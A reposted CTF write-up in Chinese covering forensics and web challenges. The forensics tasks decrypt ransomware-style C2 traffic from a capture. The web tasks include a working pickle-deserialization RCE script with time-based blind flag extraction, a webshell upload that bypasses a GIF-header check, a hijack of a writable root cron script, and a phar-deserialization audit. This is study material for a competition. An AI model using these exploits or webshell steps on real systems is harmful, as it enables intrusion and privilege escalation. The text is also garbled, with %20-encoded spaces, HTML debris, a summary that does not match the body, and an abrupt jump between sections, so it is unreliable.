文章总结: 该文档是首届云枢杯CTF&HW挑战赛的完整解题报告,详细记录了Pwn类4道题目(Canary、syscall、ret2text_pro、heap)和Crypto类1道题目(戈黛丝的秘密)的漏洞分析与利用过程。Pwn题目涉及栈溢出、Canary泄露、ROP链构造、堆利用等二进制漏洞技术,Crypto题目采用多表替换、栅栏密码、仿射密码、摩斯电码等多层加密。文档提供了完整的攻击思路、代码实现和flag获取结果,具有较高的技术参考价值。 综合评分: 85 文章分类: CTF,WEB安全,二进制安全,漏洞分析,红队
,绕过了上传限制。</p>
<p><img decoding=)
413%20开始用蚁剑连 /ctf/upload/index.php
741%20POST%20参数%20vfaa3464cefd4b%20的值解%20base64%20得到:
52406E73306D776172335F5631727535
这是%20hex,转%20ASCII%20就是:
R@ns0mwar3_V1ru5
另一个参数%20e791d38eb73551%20解出来是目标文件路径:C:\Software\Phpstudy_pro\WWW\ctf\upload\s3creT.txt
也就是攻击者往服务器写了个密钥文件。
上传后门脚本798
传了%20server.py,解%20base64%20后是完整的%20Python%20源码,逻辑是:
读取%20s3creT.txt%20的内容做%20MD5%20→%20作为%20RC4%20密钥
监听%20192.168.31.42:9999
收到数据先%20t1%20解%20XOR(key%20基于当前分钟时间戳),再%20RC4%20解密,按%20JSON%20{"opcode":"shell","msg":"命令"}%20执行
856%20Webshell%20执行了 python%20server.py,后门跑起来了。
从%20945%20开始出现%20TCP%209999%20端口的非%20HTTP%20加密流量,就是%20C2%20通信。
解密:
MD5("R@ns0mwar3_V1ru5")%20=%20ef578a404d5516ce43ea5da4e00a1601
取数据包时间戳%20floor%20到分钟,构造%204%20字节%20XOR%20key
先%20t1%20XOR,再%20RC4%20解密
流程就是
945%20(攻方发):{"opcode": "shell", "msg": "dir"}
946%20(服务器回):目录列表
964%20:{"opcode": "shell", "msg": "type%20flag.txt"}
965%20:NoneResult(没找到)
1036%20:{"opcode": "shell", "msg": "type%20C:\\Software\\Phpstudy_pro\\WWW\\ctf\\flag.txt"}
1037%20(服务器回):flag
加密了解密就行
exp.py
import%20hashlib
import%20base64
import%20re
from%20Crypto.Cipher%20import%20ARC4
from%20scapy.all%20import%20rdpcap,%20TCP,%20IP
PCAP_FILE%20= "lesuo.pcapng"
KEY_RAW%20= "R@ns0mwar3_V1ru5"
C2_PORT%20=%209999
rc4_key%20=%20hashlib.md5(KEY_RAW.encode()).hexdigest()
def%20t1_xor(data_str,%20ts):
%20 %20ts_min%20=%20(int(ts)%20//%2060)%20*%2060
%20 %20k%20=%20[int(x,%2016) for x in re.findall(r'.{2}',%20hex(ts_min)[2:].zfill(8))]
%20 return''.join(chr(ord(c)%20^%20k[i%20%%204]) for i,%20c in enumerate(data_str))
def%20decrypt(raw,%20ts):
%20 %20try:
%20 %20 %20 %20s%20=%20raw.decode('utf-8',%20errors='replace')
%20 %20 %20 %20s%20=%20t1_xor(s,%20ts)
%20 %20 %20 %20data%20=%20base64.b64decode(s)
%20 %20 %20 return ARC4.new(rc4_key.encode()).decrypt(data).decode('utf-8',%20errors='replace')
%20 %20except:
%20 %20 %20 return None
packets%20=%20rdpcap(PCAP_FILE)
for i,%20pkt in enumerate(packets):
%20 if not%20(pkt.haslayer(TCP)%20and%20pkt.haslayer(IP)):
%20 %20 %20 continue
%20 %20tcp%20=%20pkt[TCP]
%20 if C2_PORT%20not in (tcp.sport,%20tcp.dport):
%20 %20 %20 continue
%20 %20payload%20=%20bytes(tcp.payload)
%20 if not%20payload:
%20 %20 %20 continue
%20 %20result%20=%20decrypt(payload, float(pkt.time))
%20 if result:
%20 %20 %20 %20direction%20= "->"if tcp.dport%20==%20C2_PORT else"<-"
%20 %20 %20 print(f"[{i+1}]%20{direction}%20{result.strip()[:300]}")
flag{3741b40e-3185-4a9a-80a6-83403e4942fc}
钓鱼载荷与%20C2%20追踪【简单】
看包可以发现第一个base64编码的flag
第一段
ZmxhZ3todzIwMjZf
第二段和第三段
ip.addr%20==%20185.244.25.108%20and%20ip.addr%20==%2010.11.19.101
可以看到第二段和第三段
拼接就行
ZmxhZ3todzIwMjZfODlhN19mZDNjXw==
NzhiOX0=
flag{hw2026_89a7_fd3c_78b9}
宏病毒与%20C2%20通信【中等】
还是3段flag
DNS%20出现可疑十六进制子域名。
假%20CDN%20域名%20update.microsoft-cdn-services.com下发内容。
后续%20SSLoad%20/%20C2%20持续通信。
flag1
看DNS%20第四个包可以发现
flag{M3m0ry_
flag2
37包可以发现flag2
R34d_By_P4ss_
flag3
第五个包%20token后面就是
MHg3RjJBfQ==
拼接
flag{M3m0ry_R34d_By_P4ss_0x7F2A}
什么是快乐星球
先反色%20得到第一段flag
flag{3a885a8b447
另一个是IDAT%20隐写
看%20chunk
PNG%20的%20chunk%20结构很固定:
[length(4)][type(4)][data(length)][crc(4)]
1.py
import%20struct
with%20open("flag.png", "rb") as f:
data = f.read()
o = 8
idx = 0
while o < len(data):
length = struct.unpack(">I", data[o:o + 4])[0]
ctype = data[o + 4:o + 8]
print(idx, hex(o), ctype.decode("latin1"), length)
o2 = o + 12 + length
if o2 > len(data):
print("chunk 越界了")
break
o = o2
idx += 1
flag{3a885a8b4479db9c15ede424b93c400e}
Web
python!!!反序列化【困难】
python反序列化%20盲注
测试命令执行
构造一个的payload,执行sleep%205看响应时间:
import%20base64
payload%20= """cos
system
(S'sleep%205'
tR."""
encoded%20=%20base64.b64encode(payload.encode()).decode()
print(encoded)
得到:Y29zCnN5c3RlbQooUydzbGVlcCA1Jwp0Ui4=
请求测试
存在RCE
payload1%20= 'cos\nsystem\n(S\'sh%20-c "[%20-f%20/flag%20]%20&&%20sleep%203"\'\ntR.'
payload2%20= 'cos\nsystem\n(S\'sh%20-c "[%20-f%20/flag.txt%20]%20&&%20sleep%203"\'\ntR.'
得到
Y29zCnN5c3RlbQooUydzaCAtYyAiWyAtZiAvZmxhZyBdICYmIHNsZWVwIDMiJwp0Ui4=
Y29zCnN5c3RlbQooUydzaCAtYyAiWyAtZiAvZmxhZy50eHQgXSAmJiBzbGVlcCAzIicKdFIu
测试%20/flag%20是否存在
存在
后面测试需要用时间盲注提取flag逐字符爆破
exp.py
import%20base64
import%20string
import%20time
import%20requests
URL%20= "https://c56-t785-chal3.challenges.wdsec.com.cn/"
def%20make_payload(cmd:%20str)%20->%20str:
%20 %20raw%20=%20f"cos\nsystem\n(S'{cmd}'\ntR.".encode()
%20 return base64.b64encode(raw).decode()
def%20request_time(cmd:%20str)%20-> float:
%20 %20data%20=%20{
%20 %20 %20 "action": "check_book",
%20 %20 %20 "serialized_book":%20make_payload(cmd),
%20 %20}
%20 %20t0%20=%20time.time()
%20 %20try:
%20 %20 %20 %20requests.post(URL,%20data=data,%20timeout=15)
%20 %20except:
%20 %20 %20 %20pass
%20 return time.time()%20-%20t0
def%20get_char_grep(pos:%20int,%20charset:%20str,%20threshold: float)%20->%20str:
%20 """Use%20grep%20with%20regex%20to%20match%20character%20at%20position."""
%20 for ch in charset:
%20 %20 %20 if ch in r'\.[]{}()*+?|^$':
%20 %20 %20 %20 %20 %20escaped%20= '\\' +%20ch
%20 %20 %20 else:
%20 %20 %20 %20 %20 %20escaped%20=%20ch
%20 %20 %20 %20regex%20=%20f"^.{{{pos-1}}}{escaped}"
%20 %20 %20 %20cmd%20=%20f'grep%20-qE%20"{regex}"%20/flag%20&&%20sleep%201.5'
%20 %20 %20 %20dt%20=%20request_time(cmd)
%20 %20 %20 if dt%20>%20threshold:
%20 %20 %20 %20 %20 return ch
%20 return"?"
def%20main()%20->%20None:
%20 %20dt%20=%20request_time('grep%20-q%20.%20/flag%20&&%20sleep%201.5')
%20 if dt%20<%201.0:
%20 %20 %20 print("/flag%20not%20readable")
%20 %20 %20 return
%20 print("Flag%20file%20confirmed")
%20 %20samples%20=%20[request_time("true") for _ in range(3)]
%20 %20threshold%20=%20sum(samples)%20/%20len(samples)%20+%200.8
%20 print(f"threshold={threshold:.3f}s")
%20 for n in range(1,%20100):
%20 %20 %20 %20cmd%20=%20f'grep%20-qE%20"^.{{{n}}}$"%20/flag%20&&%20sleep%201.5'
%20 %20 %20 %20dt%20=%20request_time(cmd)
%20 %20 %20 if dt%20>%20threshold:
%20 %20 %20 %20 %20 %20length%20=%20n
%20 %20 %20 %20 %20 break
%20 else:
%20 %20 %20 print("Length%20not%20found")
%20 %20 %20 return
%20 print(f"length={length}")
%20 %20charset%20=%20string.ascii_letters%20+%20string.digits%20+ "{}_-."
%20 %20out%20=%20[]
%20 for i in range(1,%20length%20+%201):
%20 %20 %20 %20c%20=%20get_char_grep(i,%20charset,%20threshold)
%20 %20 %20 %20out.append(c)
%20 %20 %20 print(f"{i:02d}:%20{c}%20 %20 partial={''.join(out)}")
%20 print("\nFLAG:", "".join(out))
if __name__%20== "__main__":
%20 %20main()
flag{161fa496-c722-42e1-aefc-d696dd31ea9d}
UPload_is_Funny&Easy
直接访问什么也没有
直接目录扫描
可以发现是文件上传题目
先直接试上传,发现普通 txt 和 php 都不行,报错是只允许 JPG、PNG、GIF。
但是这里的校验不是看后缀,而是看文件内容是不是图片,只有文件头的校验
只有 GIF89a 头的文件,可以成功上传,可以看到返回路径
在上传一次抓包%20改后缀为php
上传成功
访问
https://c56-t785-chal37.challenges.wdsec.com.cn/uploads/69e312a88a911_1.php?x=id
可以命令执行了
发现flag看权限:
?x=ls%20-l%20/flag%20/fllllag.sh
/flag%20只有%20root%20能读,当前%20WebShell%20是%20www-data,直接%20cat%20/flag%20读不到。
去看%20/fllllag.sh
?x=cat%20/fllllag.sh
内容
#!/bin/bash
rm%20-rf%20/var/www/html/uploads/*.php
这个点就很明显了。
这个脚本权限是 777,说明谁都能改。
而它明显不是手工执行用的,更像是%20root%20的定时任务,定期清理上传目录里的%20PHP%20文件。
那就不用再找别的提权点了,直接劫持这个脚本。
把它改成:
#!/bin/bash
cp%20/flag%20/var/www/html/uploads/flag.txt
chmod%20644%20/var/www/html/uploads/flag.txt
命令
https://c56-t785-chal37.challenges.wdsec.com.cn/uploads/69e31609b208c_1.php?x=printf%20%27#!/bin/bash%5Cncp%20/flag%20/var/www/html/uploads/flag.txt%5Cnchmod%20644%20/var/www/html/uploads/flag.txt%5Cn%27%20%3E%20/fllllag.sh
改完以后等计划任务下一次执行。
然后访问:
/uploads/flag.txt
就可以解出flag了
flag{linux_is_very_funny}
hard审计PHP
扫描目录可以发现%20源码泄露
主要看
show.php,class.php,upload.php
审计show.php
show.php主要逻辑是:
禁止%20http%20和%20ftp%20开头
只允许路径后缀是%20jpg/jpeg/gif/png
file_exists($_GET['path'])`
file_get_contents($_GET['path'])
漏洞是%20file_exists()。
如果传入%20phar://...,会触发%20phar%20metadata%20反序列化。
因为它只做了“后缀判断”,所以可以构造:
phar://./upload/xxx.png/a.jpg
既满足后缀,又能触发反序列化。
审计class.php

img = cv2.imread('recon.png')
img = cv2.resize(img, None, fx=8, fy=8, interpolation=cv2.INTER_NEAREST)
print(cv2.QRCodeDetector().detectAndDecode(img)[0])
</code></pre>
<p><img decoding=)
扫描就行
flag{Simplified_MI_Attack}
总结
这个比赛难评,理论题是直接没有了, 我是做了30几题目直接就没有了,后门直接就宣布理论题不计入成绩,而且18:00比完赛18:20交wp,额,很无语,而且容器题目只要答对就无法在开启,所以你需要边做wp边做题目,体验感非常不好,第一次比赛所以非常多人都进不去,后面就延期了,第一次比赛的人挺多的,估计有七八百人结果出来这,所以第二次比赛,人数非常少,高校+社会赛道估计就快300人左右,题目难度,不难,出的题目非常喜欢flag分成好多段。看这个也是第一届,就不多说什么了
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小叶Sec 叁玖owo 叁玖owo《首届云枢杯CTF&HW挑战赛wp》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论